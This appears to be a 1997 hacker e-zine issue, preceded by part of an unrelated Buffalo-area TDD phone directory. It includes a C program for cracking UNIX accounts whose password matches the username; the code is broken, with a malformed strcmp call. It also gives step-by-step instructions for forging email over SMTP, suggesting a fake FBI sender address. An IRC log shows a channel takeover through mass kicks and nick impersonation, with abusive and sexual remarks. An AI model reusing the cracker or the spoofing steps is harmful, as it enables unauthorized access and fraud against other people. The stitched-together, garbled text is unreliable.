Living Center of W.N.Y 836-0822 * Inter-Community Memorial Hospital--Newfane 778-5111 Internal Revenue Service (IRS) - Tax Information 1-800-829-4059 J: J.C. Penney Catalog 1-800-527-7889 K: Kenmore Mercy Hospital--Kenmore 879-6554 Ken-Ton Hearing Aid Center 874-1609 * Key Bank of W.N.Y 831-6040 L: Lake Shore Health Care Center--Irving 934-2654 * Lands' End 1-800-541-3459 Lockport Memorial Hospital--Lockport 434-9111 M: Marine Midland Bank N.A 1-800-MAR-INE1 Marriott Hotels 1-800-228-2489 Mayor's Advocacy Office for People with Handicapping Conditions 851-4273 Medical Emergency Radio System (MERS) 894-2244 * Mercy Hospital of Buffalo--Buffalo 828-2742 * Merrill Lynch 8 Company 263-2625 Metro Kader Real Estne - Cindy Deer 838-4640 * M.J. Peterson Real Estate - Judy Blackwell 634-9651 * M.J. Peterson Real Estate - Nancy Sweet 688-1568 * N: National Association of the Deaf (NAD) ..........General Information 1-301-587-1789 ..........Legal Defense Fund 1-202-651-5343 National Captioning Institute, Inc. (NCI) 1-800-950-0958 1-703-998-2400 * National Car Rental 1-800-328-6323 National Center for Law and the Deaf (NCLD) 1-202-651-5373 * National Con-Serv, Inc 1-800-638-8783 National Domestic Violence Hotline 1-800-873-6363 National Fraternal Society of the Deaf (NFSD) 1-800-876-NFSD 1-708-392-1409 1-708-392-9282 * National Fuel 1-800-922-7777 Buffalo 857-7725 24 Hours Gas Emergency & Service 1-800-227-0180 National Information Center on Deafness (NICD) 1-202-651-5052 National Parents of Deaf-Blind Network 1-516-944-8900 * National Technical Institute for the Deaf 475-6400 * 475-6173 National Theatre of the Deaf 1-203-526-4971 * Nationwide Insurance 1-800-622-2421 Neighborhood Legal Services, Inc 847-1322 New York Relay Center (TDD Users Only) 1-800-662-1220 New York State Board of Elections--Albany 1-800-533-8683 * New York State Commission on Cable Televison 1-800-342-3330 * New York State Department of Transportation 847-3999 New York State Electric & Gas 1-800-252-3231 New York State Higher Education Services Corp 1-518-473-7168 New York State Office of Advocate f/t Disabled 1-800-522-4369 * 1-518-473-4231 New York State Office of General Services 1-518-473-5232 New York State Office of Parks, Recreation, and Historic Preservation 1-518-486-1899 New York State Office of Vocational & Educational Services for Individuals with Disabilities (VESID) ..........Buffalo 847-1495 ..........Albany 1-518-474-1729 New York State Police 1-800-342-4357 New York State Public Service Commission (PSC) 1-800-855-1155 ..........Buffalo Consumer Service - Buffalo Division 847-3401 New York State Tax Department - Taxpayer Assistance 1-800-634-2110 New York State Thruway Authority 1-800-253-6244 New York Telephone Communication Center for Disabled Customers ..........Manhattan 1-800-342-4181 ..........Buffalo 842-7300 Niagara Frontier Transportation Authority (NFTA) 855-7650 Norstar Bank 1-800-637-4031 * Northwest Airlines 1-800-328-2298 O: Old Time Baptist Church 649-4974 * Our Lady of Victory Hospital--Lackawanna ..........General Information 825-3309 ..........Emergency 825-3559 Our Lady Help of Christians Personal Parish for Roman Catholic Deaf Persons 632-5373 * P: Pan American Airlines 1-800-722-3323 Polaroid Customer Service 1-800-448-6708 Public Service Commission (PSC) 1-800-855-1155 ..........Buffalo 847-3401 Q: Quality Inns International 1-800-228-3323 * R: Ramada Inn 1-800-228-3232 Readers Digest 1-800-735-4327 * Registery of Interpreters for the Deaf, Inc. 1-301-608-0050 * Renaissance Hotel 1-800-228-3232 * S: Saint Mary's School for the Deaf 834-6838 Sav-On Plumbing 833-7518 842-1437 * Sears 1-800-729-2828 Seifert's Floor Covering, Inc 681-3637 Self Help for Hard of Hearing People, Inc of W.N.Y. 875-1093 Self Help for Hard of Hearing People, Inc. - National 1-301-657-2249 * Sheraton Inn 1-800-325-1717 SHHH Journal 1-301-657-2249 Sign Language Connection, Inc., The 244-3281 Signed With Love, Inc. 827-5812 * Silent News, Inc 334-7736 Sisters of Charity Hospital--Buffalo 862-2192 Smithsonian Institution 1-202-786-2414 1-202-786-2942 * Soehner, Michael J., Tax Service 822-4232 * Social Security Administration (SSA) 1-800-325-0778 Studio Arena Theatre 856-6456 Super 8 Hotels 1-800-533-7734 Supplemental Security Income (SSI) Office 858-6279 T: Telecommunications for the Deaf, Inc (TDI) 1-301-589-3006 Tele-Consumer Hotline 1-800-332-1124 * Trans World Airlines (TWA) 1-800-421-8480 Travelers Inn 1-800-633-8300 U: USAir 1-800-245-2966 U.S. Architectural & Transportation Barrier Compliance Board 1-800-USA-ABLE * U.S. Capitol Special Services 1-202-224-4049 U.S. Customs Service--Buffalo 846-4339 * U.S. Department of Justice - Civil Rights 1-202-514-0381 1-202-514-0383 * U.S. Federal Bureau of Investigators (FBI) Tour 1-202-324-1016 * U.S. Federal Communication Commission (FCC) 1-202-632-6999 U.S. Federal Deposit Insurance Corporation (FDIC) 1-800-424-5488 * U.S. Federal Information Relay Service 1-800-877-8339 * U.S. General Service Administration 1-202-708-5985 U.S. Food and Drug Administration (FDA) 1-301-443-1818 * U.S. Internal Revenue Service (IRS) 1-800-829-4059 U.S. National Archives 8 Records Service 1-202-523-0774 U.S. National Park Service / Capital Region 1-202-472-5264 U.S. Senator Alphonse D'Amato (NY - R) 1-202-224-0420 U.S. Senator Daniel Moynihan (NY- D) 1-202-224-6821 U.S. Social Security Administration (SSA) 1-800-325-0778 United Airlines 1-800-323-0170 United Cerebral Palsy Association of W.N.Y., Inc. 856-2474 * United Way of Buffalo 8 Erie County 887-2626 * V: Voice International Publication, Inc. 1-512-884-8388 * W: W.C.A. Hospital--Jamestown 664-5425 WIVB-TV - Call 4 Action 879-4949 Walt Disney Resorts Reservations 1-800-327-2990 Wegmans Food Markets, Inc. 328-8360 Westin Hotels 1-800-228-1030 Windsor Furniture Restoration 693-7315 ============================================================================= The PLA-HBS Alliance Bug RBCP and Scud-O for it TODAY! Yet Another Fun Public Service Announcement ============================================================================= Joes pt.1 by Scud-O A 'Joe' is a common term used to describe a UNIX user that uses his username as his password. (or at least thats what some dumb arse UNIX security 'gurus' think) Any way this is a simple C program to crack 'joe' passwords. If your system has shadowed passwords, then this program must be run as root. /********************************************************************** * joetest.c * * a -SIMPLE- password cracker that cracks account with the same username and * password. (a 'joe') * * * Written for The HAVOC Technical Journal issue 7 by Scud-O * http://www.geocities.com/SiliconValley/8805/ ***********************************************************************/ #include #include int main(int argc, char **argv) { struct passwd *pw; while(pw=getpwent() ) { char *crypt(); char *result; result = crypt(pw->pw_name,pw->pw_passwd); if(!strcmp(result,pw->pw_name,pw->pw_passwd)) { printf(" %s is a joe\n", pw->pw_name); } } exit(0); } That is all you need. Next month i will use Perl to make an quicker version of this, and a perl 5 advanced joe password cracker, and possibly a regular use password cracker if i get the time. ============================================================================= Cellular Phones by zeth Well, this article will be on hold until next issue, since zeth ( the cellular god) has been too busy with his own damn mag! Check it out at: http://www.sepulchre.org/~zeth/ ============================================================================= How to Send FAKEMAIL For those of you who dont know what fakemail is its just sending a mail to someone and putting any return address you want. This is good for practical jokes or if you want to send someone almost anonymous email. Heres what you do. {1} Get a telnet program...one comes with windows 95, thats what I use. {2} Telnet to your mailserver, on port 25. {3} Type "HELO hostname" where "hostname" is filled in. Don't be an idiot!!! Do not put in your real host!!!! {4} Enter "MAIL FROM:sender" where sender is your faked address. {5} Type in "RCPT TO:recipient" where recipient is your addressee. {6} Enter "DATA" {7} type in your message.... {8} on a separate line...type a period to end like this . That should work just fine the only problem is that you cant see what you type so you have to do it sort of slow...but you could get another Telnet client that will let you see what you type in. I hope that this gives you great pleasure...hehe...here is a good MAIL FROM address...hehe hackingcrimes@fbi.gov .....it FREAKS em out EVERY TIME! Have Fun, GiG kevin_@hehe.com http://gig.home.ml.org ============================================================================= The takeover and regain of #florida_fun because of the size of this log, the finale version of this mag may have only the important parts of the log. If you want the whole log, just email Scud-O for it. This log shows you that you must be VERY careful with peoples nicks and who the REALLY are....read on..... Basically we just went crazy and randomly kicked people... but then.... PLEASE NOTE: this takeover was provided by theLURK3R ( `X` ) while the log was provided by Scud-O Session Start: Tue Jan 07 00:16:08 1997 *** Now talking in #florida_fun hola *** memor (~Derzeter@ppp1.planetb.fr) has joined #florida_fun memor! . X i am here scudie! hehe whats going on memor? *** `X` sets mode: -oooo Blond-e Blond-e` riggss TaoOfWild hehehe YES! *** `X` sets mode: +oo memor Scud-O YES! hmm hehehe.. something to tell ya scud in private chatting :) thanks LURK okay *** DiSCoRe (SuperBob@Cust83.Max8.Salt-Lake-City.U T.MS.UU.NET) has joined #florida_fun *** darc (~darc@dial007.w-link.net) has joined #florida_fun sexster can i have ops please hehehe hey x whats up dude, thought we were all friendz? <^_RoAcH_^> Hey I thought you ruled here Tao.... *** memor sets mode: +o darc <^_RoAcH_^> hehehehe *** memor sets mode: +o DiSCoRe right on *** TeGREToL (dude@ppp1.ionline.net) has joined #florida_fun MEMOR: DCC ME hi *** Bassist (jasonvk@tpm228177.gte.net) has joined #Florida_Fun *** memor (~Derzeter@ppp1.planetb.fr) has left #florida_fun *** `X` sets mode: +vvvvv Blond-e Blond-e` Kobie riggss TaoOfWild -`X`- [Wall(#florida_fun)4:21.1%] for the original ops : ) whats up boy that sucked -darc- Ops\#florida_fun hehehehe * TaoOfWild yanks the @ away from `X` De-op X -`X`- [Wall(#florida_fun)4:21.1%] sup darc : ) *** Key|Pup (bozo@ppp-20.ts-1.mvl.idt.net) has joined #florida_fun *** DiSCoRe sets mode: +o Key|Pup sup key Cool topic Thanks Sup *** PHONMAN69 (ROB@206.25.250.121) has joined #florida_fun the bozos in #florida are lame -`X`- [Wall(#florida_fun)5:25.0%] these ppl seemed to not like hibis ruless and thought they were gonna start a new florida channel *** TeGREToL has quit IRC (Write error to TeGREToL[ppp1.ionline.net], closing link) i wanna abuse my power, is this ok? *** PHONMAN69 (ROB@206.25.250.121) has left #florida_fun -`X`- [Wall(#florida_fun)5:26.6%] go ahead : ) ok, thanx *** TaoOfWild was kicked by DiSCoRe (DiSCoRe) *** TaoOfWild (~taoofwild@wpb296.flinet.com) has joined #florida_fun there, rofl Roach, I'm in CService now, they're clearing it up *** `X` sets mode: +v TaoOfWild *** rayboat (chatnet@lap-ca7-14.ix.netcom.com) has joined #florida_fun *** Kobie was kicked by DiSCoRe ( lurk said he opped me but he is lagged) *** Kobie (~marchant@d00107.jax.bellsouth.net) has joined #florida_fun *** Key|Pup changes topic to "Have (ejactulate) fun! (ejactulate) Or (ejactulate) I (ejactulate) beat (ejactulate) you! (ejactulate) Either (ejactulate) way, (ejactulate) we (ejactulate) h" X i am here * Bassist plays "At The Crossroads" for x-ty *** FireF|ame (Chasse@s43.quancon.com) has joined #florida_fun hey if it's florida phn sexster can i have ops please * DiSCoRe hears some hitious noise * DiSCoRe turns his head to see what it is * DiSCoRe sees Bassist standing on the corner listening to RAP! * DiSCoRe walks up to Bassist and pulls out a NINE INCH NAIL * DiSCoRe stabs Bassist in the throat and watches him DIE! *** Bassist was kicked by DiSCoRe (Yo Homie, go hang in #Rap with all the other wannabe's! (?ÛñÐê®gRóûÑÐ \/õÎп) does that mean we can have group sex? hjehehehe *** Bassist (jasonvk@tpm228177.gte.net) has joined #florida_fun I hope so there *** sexster was kicked by `X` (.x(Rp0)x. U aint even close to L33T (Victim #: 10) .x(Rp0)x.) *** darc changes topic to "Come (spooge) try (spooge) to (spooge) flood (spooge) us (spooge) again (spooge) (spooge) (spooge) (spooge) (spooge)" hehehehe hehehehe *** x-ty was kicked by Key|Pup (I singed your moms clit with a hot poker) i can do that tew key *** x-ty (hazel@ppp259.cfr.usf.edu) has joined #florida_fun key: no that was my mom, remember i held her down um, why are you kicking x-ty? *** WanaJava was kicked by DiSCoRe (WHO GAVE YOU PERMISSION TO LAUGH, FUCKER) *** WanaJava (~noone@199.231.146.56) has joined #florida_fun well lets just log all this..shall we *** FireF|ame has quit IRC (Excess Flood) what the? hahahaha OH SHIZNIT LOGS!!!#% *** WanaJava was kicked by Key|Pup (Cause I singed his moms clit) *** WanaJava (~noone@199.231.146.56) has joined #florida_fun hehe hey uh "At The CrossRoads" was a Muddy water blues tune LONG before some rap group darc: Now I do KEY! we will see *** darc changes topic to "no more flooding us" LOGS, WE BETTER RUN!!!!! *** DiSCoRe changes topic to "no more flooding us, they aren't flooding me ;)" *** Key|Pup sets mode: +s *** StrongST (StrongST@136.205.72.37) has joined #florida_fun *** darc changes topic to "They've been flooding us make them stop! i'm a newbie!" *** DiSCoRe sets mode: -vvvv Blond-e Blond-e` riggss TaoOfWild msg WanaJava No i've never dated anyone who was 10 years old and NO I don't know if you can get in trouble with that *** DiSCoRe changes topic to "BE CAREFUL!!!! THEY ARE LOGGING THIS!!!!!!" WanaJava - what is your real name? WanaJava - what is your quest? WanaJava - what's the average air speed of a coconut laden swallow? *** WanaJava was kicked by Key|Pup (Key|Pup) *** WanaJava (~noone@199.231.146.56) has joined #florida_fun SHIT *** darc changes topic to "They've been flooding us make them stop! i'm a newbie!" hmmm I didn't know that would kick Wana: It is nothing personal now why am I being kicked? oh, ok. I am just kicking random people hey! I'll let you select who I will kick next :) Who will it be? Not me :) *** ^gAdGet^ (guess@d00056.mco.bellsouth.net) has joined #florida_fun *** Nikki (~marchant@d00107.jax.bellsouth.net) has joined #florida_fun lame *** x-ty was kicked by darc (Random!) *** Bassist (jasonvk@tpm228177.gte.net) has left #florida_fun who wants to be kicked? *** x-ty (hazel@ppp259.cfr.usf.edu) has joined #florida_fun .//kick # $nopnick($r(1,$nopnick(0,#)),#) Random! hi all! .//kick # $nopnick($r(1,$nopnick(0,#)),#) Random! *** |Sharon| was kicked by darc (Random!) *** |Sharon| (ALady@pm10-14.magicnet.net) has joined #florida_fun anyone here from the panhandle? Hold on everyone, an IRC Op is on their way *** riggss was kicked by Key|Pup (Random!) *** riggss (Riggs@egray.tbag.org) has joined #florida_fun guys i'll bbiab gotta work *** darc (~darc@dial007.w-link.net) has left #florida_fun *** Nikki has quit IRC (SORRY GUYS I ACTUALLY HAVE A LIFE!) *** Nikki (~marchant@d00107.jax.bellsouth.net) has joined #florida_fun *** ^gAdGet^ was kicked by Key|Pup (Random!) *** FireF|ame (Chasse@s41.quancon.com) has joined #florida_fun destin? *** ^gAdGet^ (guess@d00056.mco.bellsouth.net) has joined #florida_fun *** Nikki was kicked by DiSCoRe (i though you had a life) *** Nikki (~marchant@d00107.jax.bellsouth.net) has joined #florida_fun Ft Walton Beach? *** REality (~anonb@lnxland1.ccd.cccoes.edu) has joined #florida_fun fuck you discore riggss:" fuck off dont ping me <`X`> rigss...dont even attempt to flood me..your not even close to good enuff *** DiSCoRe sets mode: +o REality <`X`> nor u either blond-e : ) <^_RoAcH_^> Think maybe I got it Tao no fuck you nikki hahahahaah *** loup (annie@ppp1537.qc.sympatico.ca) has joined #florida_fun *** HappyInFl (~griderj@pa3dsp19.x31.infi.net) has joined #florida_fun Stupid ass lamerz oh god!!!!!! We OWN you! *** loup (annie@ppp1537.qc.sympatico.ca) has left #florida_fun *** Keka (saraiva@ppp24.cpunet.com.BR) has joined #florida_fun *** riggss was kicked by DiSCoRe (you tried to flood me, to bad) *** riggss (Riggs@egray.tbag.org) has joined #florida_fun nawwww......not that good at allfucker!!! !!! *** DiSCoRe changes topic to "WE OWN YOU" brb You own us? hehehehe asswipes!!!! *** riggss (Riggs@egray.tbag.org) has left #florida_fun tao: we OWN YOU@ <^_RoAcH_^> You opped em Tao, they wont fix it but..... Seems that an IRC Op has offered ta help, asswhip <^_RoAcH_^> Maybe I can get em flooded off <^_RoAcH_^> Maybe I can get em flooded off hehehe <^_RoAcH_^> brb *** ^_RoAcH_^ (Guess@user-168-121-198-155.dialup.m indspring.com) has left #florida_fun *** BGood (BIGGIRL@13.atlanta-035.ga.dial-access.a tt.net) has left #florida_fun *** rayboat (chatnet@lap-ca7-14.ix.netcom.com) has left #florida_fun blond-e is messign with me I put this in a timer *** TOPAZaway was kicked by Key|Pup (Random!) *** BGood (BIGGIRL@13.atlanta-035.ga.dial-access.a tt.net) has joined #florida_fun *** TOPAZaway (nuttinnice@Cust58.Max9.Orlando.FL.M S.UU.NET) has joined #florida_fun fuck... she must be tring to flood me *** |Sharon| was kicked by Key|Pup (Random!) DAMN IT ALL TO HELL *** |Sharon| (ALady@pm10-14.magicnet.net) has joined #florida_fun *** HappyInFl was kicked by Key|Pup (Random!) *** BGood was kicked by Key|Pup (Random!) *** HappyInFl (~griderj@pa3dsp19.x31.infi.net) has joined #florida_fun *** Blond-e` was kicked by Key|Pup (Random!) *** TOPAZaway was kicked by Key|Pup (Random!) *** TOPAZaway (nuttinnice@Cust58.Max9.Orlando.FL.M S.UU.NET) has joined #florida_fun *** DiSCoRe sets mode: +b *!*Blondie@*.ix.netcom.c om *** Blond-e` (Blondie@por-me1-28.ix.netcom.com) has joined #florida_fun THEY WON'T BANN me THEY WONT kick me *** Blond-e was kicked by DiSCoRe (nonononono) *** Blond-e` was kicked by DiSCoRe (nonononono) *** FireF|ame was kicked by Key|Pup (Random!) 10 5 and 3 secs it will kick *** ^gAdGet^ was kicked by Key|Pup (Random!) *** shaggy-fl was kicked by Key|Pup (Random!) *** StrongST was kicked by Key|Pup (Random!) Aint this fun? *** x-ty was kicked by Key|Pup (Random!) you kicked me :((((((((((((((( *** FireF|ame (Chasse@s41.quancon.com) has joined #florida_fun *** ^gAdGet^ (guess@d00056.mco.bellsouth.net) has joined #florida_fun *** shaggy-fl (hj@ppp-1-22-FL.kudos.net) has joined #florida_fun *** HappyInFl was kicked by Key|Pup (Random!) *** HappyInFl (~griderj@pa3dsp19.x31.infi.net) has joined #florida_fun *** Key|Pup was kicked by DiSCoRe (7tH §p|-|ê®é Mass Kick Protection!) *** x-ty (hazel@ppp259.cfr.usf.edu) has joined #florida_fun LURKER HONEY!!!!!!!!!!!1 *** Key|Pup (bozo@ppp-20.ts-1.mvl.idt.net) has joined #florida_fun they just tell me they love me *** DiSCoRe sets mode: +o Key|Pup *** |Sharon| was kicked by Key|Pup (Random!) *** |Sharon| (ALady@pm10-14.magicnet.net) has joined #florida_fun *** Nikki was kicked by Key|Pup (Random!) <^gAdGet^> LURK what is going on here???????????/ *** Nikki (~marchant@d00107.jax.bellsouth.net) has joined #florida_fun sorry bro *** shaggy-fl was kicked by Key|Pup (Random!) *** Nikki was kicked by Key|Pup (Random!) *** shaggy-fl (hj@ppp-1-22-FL.kudos.net) has joined #florida_fun *** Kobie was kicked by Key|Pup (Random!) *** Nikki (~marchant@d00107.jax.bellsouth.net) has joined #florida_fun *** Key|Pup was kicked by DiSCoRe (7tH §p|-|ê®é Mass Kick Protection!) *** Kobie (~marchant@d00107.jax.bellsouth.net) has joined #florida_fun Clone Detected in #florida_fun! - Kobie - [ *!*@d00107.jax.bellsouth.net ] [ 7:19:00 PM ] *** BGood (BIGGIRL@13.atlanta-035.ga.dial-access.a tt.net) has joined #florida_fun DIS: DONT KICK KEY!!!!!! That was not goood guys * Scud-O is away for a sec *** Key|Pup (bozo@ppp-20.ts-1.mvl.idt.net) has joined #florida_fun * DiSCoRe Has Turned ?ÛñÐê®gRóûÑÐ \/õÎп Lame Word Kick ON *** DiSCoRe sets mode: +o Key|Pup *** ^gAdGet^ was kicked by Key|Pup (Random!) don't kick so many ppl *** ^gAdGet^ (guess@d00056.mco.bellsouth.net) has joined #florida_fun *** TOPAZaway was kicked by Key|Pup (Random!) *** WanaJava was kicked by Key|Pup (Random!) *** TOPAZaway (nuttinnice@Cust58.Max9.Orlando.FL.M S.UU.NET) has joined #florida_fun *** WanaJava (~noone@199.231.146.56) has joined #florida_fun *** ^gAdGet^ was kicked by Key|Pup (Random!) *** ^gAdGet^ (guess@d00056.mco.bellsouth.net) has joined #florida_fun *** x-ty was kicked by Key|Pup (Random!) *** ^gAdGet^ was kicked by Key|Pup (Random!) *** ^gAdGet^ (guess@d00056.mco.bellsouth.net) has joined #florida_fun *** Key|Pup was kicked by DiSCoRe (7tH §p|-|ê®é Mass Kick Protection!) *** x-ty (hazel@ppp259.cfr.usf.edu) has joined #florida_fun *** Nikki is now known as Kobie- *** ^^^RRR^^^ (Guess@user-168-121-198-155.dialup.m indspring.com) has joined #Florida_Fun what are you guys doing in here *** Key|Pup (bozo@ppp-20.ts-1.mvl.idt.net) has joined #florida_fun Ok *** DiSCoRe sets mode: +o Key|Pup It is off *** riggss (Riggs@205.240.236.13) has joined #florida_fun thanx :) *** BGood was kicked by Key|Pup (RAAAAAAAAAAAAAAAA AANDOM!) *** FireF|ame was kicked by Key|Pup (RAAAAAAAAAAAA AAAAAANDOM!) *** HappyInFl was kicked by Key|Pup (RAAAAAAAAAAAA AAAAAANDOM!) *** Keka was kicked by Key|Pup (RAAAAAAAAAAAAAAAAA ANDOM!) *** Kobie was kicked by Key|Pup (RAAAAAAAAAAAAAAAA AANDOM!) *** Kobie- was kicked by Key|Pup (RAAAAAAAAAAAAAAA AAANDOM!) *** HappyInFl (~griderj@pa3dsp19.x31.infi.net) has joined #florida_fun *** Kobie- (~marchant@d00107.jax.bellsouth.net) has joined #florida_fun *** shaggy-fl was kicked by Key|Pup (RAAAAAAAAAAAA AAAAAANDOM!) *** Kobie (~marchant@d00107.jax.bellsouth.net) has joined #florida_fun Clone Detected in #florida_fun! - Kobie - [ *!*@d00107.jax.bellsouth.net ] [ 7:20:40 PM ] *** FireF|ame (Chasse@s41.quancon.com) has joined #florida_fun *** TaoOfWild was kicked by Key|Pup (RAAAAAAAAAAAA AAAAAANDOM!) *** TaoOfWild (~taoofwild@wpb296.flinet.com) has joined #florida_fun *** shaggy-fl (hj@ppp-1-22-FL.kudos.net) has joined #florida_fun *** TOPAZaway was kicked by Key|Pup (RAAAAAAAAAAAA AAAAAANDOM!) *** TOPAZaway (nuttinnice@Cust58.Max9.Orlando.FL.M S.UU.NET) has joined #florida_fun *** WanaJava was kicked by Key|Pup (RAAAAAAAAAAAAA AAAAANDOM!) *** WanaJava (~noone@199.231.146.56) has joined #florida_fun cool *** x-ty was kicked by Key|Pup (RAAAAAAAAAAAAAAAAA ANDOM!) *** ^gAdGet^ was kicked by Key|Pup (RAAAAAAAAAAAAA AAAAANDOM!) *** ^^^RRR^^^ was kicked by Key|Pup (RAAAAAAAAAAAA AAAAAANDOM!) *** Kobie has quit IRC (SORRY GUYS I ACTUALLY HAVE A LIFE!) *** BGood (BIGGIRL@13.atlanta-035.ga.dial-access.a tt.net) has joined #florida_fun *** ^gAdGet^ (guess@d00056.mco.bellsouth.net) has joined #florida_fun *** |Sharon| was kicked by Key|Pup (RAAAAAAAAAAAAA AAAAANDOM!) ok, now, lets ban everyone, ok? *** |Sharon| (ALady@pm10-14.magicnet.net) has joined #florida_fun *** ^^^RRR^^^ (Guess@user-168-121-198-155.dialup.m indspring.com) has joined #florida_fun :) oops aaaaaaaaaaaaah *** ^^^RRR^^^ (Guess@user-168-121-198-155.dialup.m indspring.com) has left #Florida_Fun HEPL HELP *** Key|Pup was kicked by DiSCoRe (7tH §p|-|ê®é Mass Kick Protection!) *** Key|Pup (bozo@ppp-20.ts-1.mvl.idt.net) has joined #florida_fun Get it fixed please *** x-ty (hazel@ppp259.cfr.usf.edu) has joined #florida_fun want me to leave ????????? all u gotta do is ask :)) YES I DID IT I GOT BANNED AND KICKED did what Fire? ops hehe *** DiSCoRe sets mode: +b *!*griderj@*.x31.infi.ne t *** HappyInFl was kicked by DiSCoRe (we just have to kick you) *** DiSCoRe sets mode: +o Key|Pup I GOT KICKED AND BANNED FROM !&_@! hehe I think gadget is cool hehehe ;) 17-21 god i love it *** FireF|ame was kicked by DiSCoRe (7tH §p|-|ê®é lame word Kick on GOD) Dont kick him :) * riggss wonders if the assswipes have palyed with c-serv yet...hummm...lets see!!!!!!!!!!!! * DiSCoRe Has Turned ?ÛñÐê®gRóûÑÐ \/õÎп Lame word Kick OFF *** FireF|ame (Chasse@s41.quancon.com) has joined #florida_fun ok time to kill it all *** ^Pamela (brwneys22@171-240-74.ipt.aol.com) has joined #florida_fun H muahahahahah Hey Key pup who are you ack! riggs is back *** ^Pamela (brwneys22@171-240-74.ipt.aol.com) has left #florida_fun *** `X` sets mode: -bb *!*griderj@*.x31.infi.net *!*Blondie@*.ix.netcom.com *** Key|Pup was kicked by DiSCoRe (7tH §p|-|ê®é Mass Kick) *** REality was kicked by DiSCoRe (7tH §p|-|ê®é Mass Kick) *** You were kicked by DiSCoRe (7tH §p|-|ê®é Mass Kick) *** Attempting to rejoin... *** Rejoined channel #florida_fun BGOOD: KEy is your WORST nitemar *** Kobie- was kicked by DiSCoRe (7tH §p|-|ê®é Mass Kick) *** riggss was kicked by DiSCoRe (7tH §p|-|ê®é Mass Kick) *** shaggy-fl was kicked by DiSCoRe (7tH §p|-|ê®é Mass Kick) *** TaoOfWild was kicked by DiSCoRe (7tH §p|-|ê®é Mass Kick) *** riggss (Riggs@205.240.236.13) has joined #florida_fun *** Blond-e (~Blondie@por-me1-28.ix.netcom.com) has joined #Florida_fun *** TOPAZaway was kicked by DiSCoRe (7tH §p|-|ê®é Mass Kick) *** WanaJava was kicked by DiSCoRe (7tH §p|-|ê®é Mass Kick) *** Kobie- (~marchant@d00107.jax.bellsouth.net) has joined #florida_fun *** shaggy-fl (hj@ppp-1-22-FL.kudos.net) has joined #florida_fun *** TOPAZaway (nuttinnice@Cust58.Max9.Orlando.FL.M S.UU.NET) has joined #florida_fun *** TaoOfWild (~taoofwild@wpb296.flinet.com) has joined #florida_fun *** x-ty was kicked by DiSCoRe (7tH §p|-|ê®é Mass Kick) *** ^gAdGet^ was kicked by DiSCoRe (7tH §p|-|ê®é Mass Kick) *** x-ty (hazel@ppp259.cfr.usf.edu) has joined #florida_fun *** ^gAdGet^ (guess@d00056.mco.bellsouth.net) has joined #florida_fun *** |Sharon| was kicked by DiSCoRe (7tH §p|-|ê®é Mass Kick) *** |Sharon| (ALady@pm10-14.magicnet.net) has joined #florida_fun *** WanaJava (~noone@199.231.146.56) has joined #florida_fun *** FireF|ame (Chasse@s41.quancon.com) has joined #florida_fun *** HappyInFl (~griderj@pa3dsp19.x31.infi.net) has joined #florida_fun DISCORE: you bitch! re op me fool *** Key|Pup (bozo@ppp-20.ts-1.mvl.idt.net) has left #florida_fun *** BGood (BIGGIRL@13.atlanta-035.ga.dial-access.a tt.net) has joined #florida_fun *** `X` (me@Cust96.Max13.Orlando.FL.MS.UU.NET) has joined #florida_fun *** DiSCoRe sets mode: +o REality *** DiSCoRe sets mode: +o `X` *** ^^^RRR^^^ (Guess@user-168-121-198-155.dialup.m indspring.com) has joined #Florida_Fun cmon *** ^^^RRR^^^ (Guess@user-168-121-198-155.dialup.m indspring.com) has left #Florida_Fun yes it is hehehehehee hey discore what modem do u use? *** `X` sets mode: +o Scud-O keep it up pal!!!!! thansk x * HappyInFl says her head is spinning..........is there afull moon or sompfin :)) im lovin it!!!!! Who is it and so will yopur rpovider!!!!!!!!!! * DiSCoRe IS A BITCH SORRY GUYS *** Blond-e has quit IRC (Excess Flood) provider ack riggess ================================================================== RIGHT HERE: you can see where ^_RoAcH_^ left the channel and came back as KeyIPup. DiSCoRe, not lookin carefully thought it was the REAL Keystroke and opped him. Then ^_RoAcH_^ de oped all of us, and retook his channel. So let this be a reminder: !!!MAKE SURE YOU KNOW THE REAL USER WHO IS USIN A NICK!!! For example, do a /whois or read the user id after the nick of who has joined. A PUBLIC SERVICE MESSAGE FROM HBS ================================================================== *** KeyIPup (Guess@user-168-121-198-155.dialup.min dspring.com) has joined #Florida_Fun *** DiSCoRe changes topic to "WE OWN YOU *** Blond-e has quit IRC (Excess Flood)" * riggss sits and grins!!!!!!!! *** Blond-e (Blondie@por-me1-28.ix.netcom.com) has joined #Florida_fun *** DiSCoRe sets mode: +o KeyIPup *** KeyIPup sets mode: -o DiSCoRe *** KeyIPup sets mode: -o Scud-O Who is who befroe I leave *** Godess (~Cyber@davis.vt.com) has joined #florida_fun *** KeyIPup sets mode: -o `X` *** Godess (~Cyber@davis.vt.com) has left #florida_fun KEY! *** KeyIPup sets mode: -o REality WTF JHAHAHAHAHAHAHAHAHAHAHAH *** KeyIPup is now known as ^_RoAcH_^ <^_RoAcH_^> HAHAHAHAHAHAHAHAHAHAHAHAHA <^_RoAcH_^> Lamerz <`X`> u idiot :) hahaha heheheheheheeheh *** x-ty (hazel@ppp259.cfr.usf.edu) has left #florida_fun roch op me *** ^_RoAcH_^ sets mode: +o TaoOfWild this is fun!!!!!!!!!!!! -^gAdGet^- {gremlin} aaaaahhhhh there you are you lil cutie...you got away before i could say HI and how are you.....lurks friend here...guess it was a naughty thing for me to give him ops here.... be GeNtLe on the lam3rs.....haha *** ^_RoAcH_^ sets mode: +o ^gAdGet^ *** `X` was kicked by ^_RoAcH_^ ((Sheeeeeez, you oughta know better 'n that!!!!!)) op me so i can show her what a REAL BITCH IS I'm out of here BYE *** DiSCoRe was kicked by ^_RoAcH_^ ((You figure they'd learn some day!!!)) *** ^_RoAcH_^ sets mode: +b *!*SuperBob@*.Max8.Sal t-Lake-City.UT.MS.UU.NET *** You were kicked by ^_RoAcH_^ ((You figure they'd learn some day!!!)) *** Attempting to rejoin... Session Close: Tue Jan 07 00:39:46 1997 ----------------------------------------------- This and other fun logs at: http://home.earthlink.net/~rseal/logz.htm ----------------------------------------------- ============================================================================= RTFM : The Lamer Journal Welcome to the second installmetn of RTFM. I hope you have read up on the 'street smarts' of the 'underground' cause heres where it starts gettin' dirty. This month i'm going to show you basic ( emphasis on BASIC ) hacking. Included is The Mentor's 1989 basic guide to hacking. Yes its old, but it will help you out with the old systems. You may ask what PRIMOSes are ( they were great machines to hack... i LOVED the pre 18's easy to get in) since they are not im much popularity anymore, oh well. 5 years ago, hell 10 years ago, the world was a Digital VMS/VAX world. But with the popularity of the internet and UNIX, UNIX is the prime os of the world now. The Mentor's guide talks of telenet, an old packet switching network, which is harder to use bacause of more security and access. 